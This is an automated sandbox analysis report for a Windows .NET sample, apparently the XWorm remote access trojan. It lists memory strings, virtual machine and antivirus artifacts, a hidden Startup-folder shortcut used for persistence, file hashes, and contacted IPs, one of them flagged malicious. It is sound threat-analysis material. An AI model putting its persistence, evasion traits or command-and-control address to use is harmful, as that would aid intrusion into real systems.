Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.17.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: QWNTSg4Fdm.exe, 00000000.00000002.3544290949.0000000001105000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}A
Source: Amcache.hve.17.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.17.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.17.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.17.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.17.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.17.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Windows Analysis Report QWNTSg4Fdm.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
QWNTSg4Fdm.exe

Malware Threat Intel
Provided by

Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -PING!<Xwormmm>Program Manager<Xwormmm>2119041@
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>2119041
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -PING!<Xwormmm>Program Manager<Xwormmm>2098806@
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2C
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -PING!<Xwormmm>Program Manager<Xwormmm>2098806
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -PING!<Xwormmm>Program Manager<Xwormmm>2119041
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.000000000304B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>2098806

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Queries volume information: C:\Users\user\Desktop\QWNTSg4Fdm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: MsMpEng.exe

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
157.254.223.19	unknown	United States		7768	TECHNICOLORUS	true

ID:	1416006
Product:	CloudBasic
Start time:	18:22:10
Start date:	26.03.2024
Sample:	QWNTSg4Fdm.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	2649ef15cf6004b05c80abd825cd594e
SHA1:	2593cb7db276d90d51ea5235eb4c14cbd8ecd5a5
SHA256:	e6f7963c726231571294a06e1e8b1f03b87684cad8383bb194b957fc685685c2
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_QWNTSg4Fdm.exe_327c2118ecbb8a156ce51a79c656445a30e6eeb8_50f05828_81cd941a-cfdf-45e5-874b-8346e1fe118b\Report.wer	Unicode text, UTF-16, little-endian text, with CRLF line terminators	4F358FB9DC2837A2116D3C2691A4958B	7D190C2ACD04C428DADEC89DE059BB752AA3CFDB	F64E3B9F3CBD2EB160523F9C580CA44563B138B54D7FC0E3509495FA688770B0
C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F0.tmp.WERInternalMetadata.xml	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators	711665EFB4CABD7201DFB944AD87ED3E	D4A7B67D4F407C879134984B06978AA7D9F0A5F1	5A1D8FEBBB9A9F293E8D47036AF8197560013FEC89E2D59D85C4801491492018
C:\ProgramData\Microsoft\Windows\WER\Temp\WER320.tmp.xml	XML 1.0 document, ASCII text, with CRLF line terminators	D4EB081D21BCCE8564BB141D3AB2C968	771E049094B32B475F537B65E3B9360466D0FB00	77EAE50E9BB74FBB2667EB13D0F872A010C2CD283731B4F6D0A8AA1C2DFA771A
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD.tmp.dmp	Mini DuMP crash report, 16 streams, Tue Mar 26 17:26:40 2024, 0x1205a4 type	8EACAA4EEF19B7E08F516C1294A656A0	398435A8BFC7EBCBBF4523A2D01AE2515C71B178	38688BC2E5B95F1CEBA2FBF6861D18F1BA82FDC00F82BD14038797D73DA8BF8E
C:\ProgramData\QWNTSg4Fdm.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	2649EF15CF6004B05C80ABD825CD594E	2593CB7DB276D90D51EA5235EB4C14CBD8ECD5A5	E6F7963C726231571294A06E1E8B1F03B87684CAD8383BB194B957FC685685C2
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	446DD1CF97EABA21CF14D03AEBC79F27	36E4CC7367E0C7B40F4A8ACE272941EA46373799	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
C:\Users\user\AppData\Local\Temp\Log.tmp	ASCII text, with CRLF line terminators	2C11513C4FAB02AEDEE23EC05A2EB3CC	59177C177B2546FBD8EC7688BAD19D08D32640DE	BCF3676333E528171EEE1055302F3863A0C89D9FFE7017EA31CF264E13C8A699
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2bnqhgdt.ctk.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2eaobaa5.yst.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xlgw1wl.nt3.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eyhqchz5.rpt.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_frktg3e4.4mw.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hclw5lyu.4dx.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvdqcy0n.zbt.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_klxsuqlr.r1a.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcehotju.lwa.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1fwcvcj.iis.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpgn54mj.hwh.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqbhfmbn.wem.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QWNTSg4Fdm.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 26 16:23:52 2024, mtime=Tue Mar 26 16:23:52 2024, atime=Tue Mar 26 16:23:52 2024, length=152064, window=hide	04EFC24B9E5A929E131104230E19628D	A6FD19705FE7F7338F060C54900546B5B8E18565	FE9E8FF96144627510AFA9A4D1CAECE6DA0367730DE1FCDAD42B6587939C1DF4
C:\Windows\appcompat\Programs\Amcache.hve	MS Windows registry file, NT/2000 or above	4DC9AB0E3CA6AD8150BBA5CEF808901E	5EFFB200A06AE96742471422502817618324942F	D1211FBFEADEA92519E5146708B434156BE3C26299ACC6F2982896C36B6B7501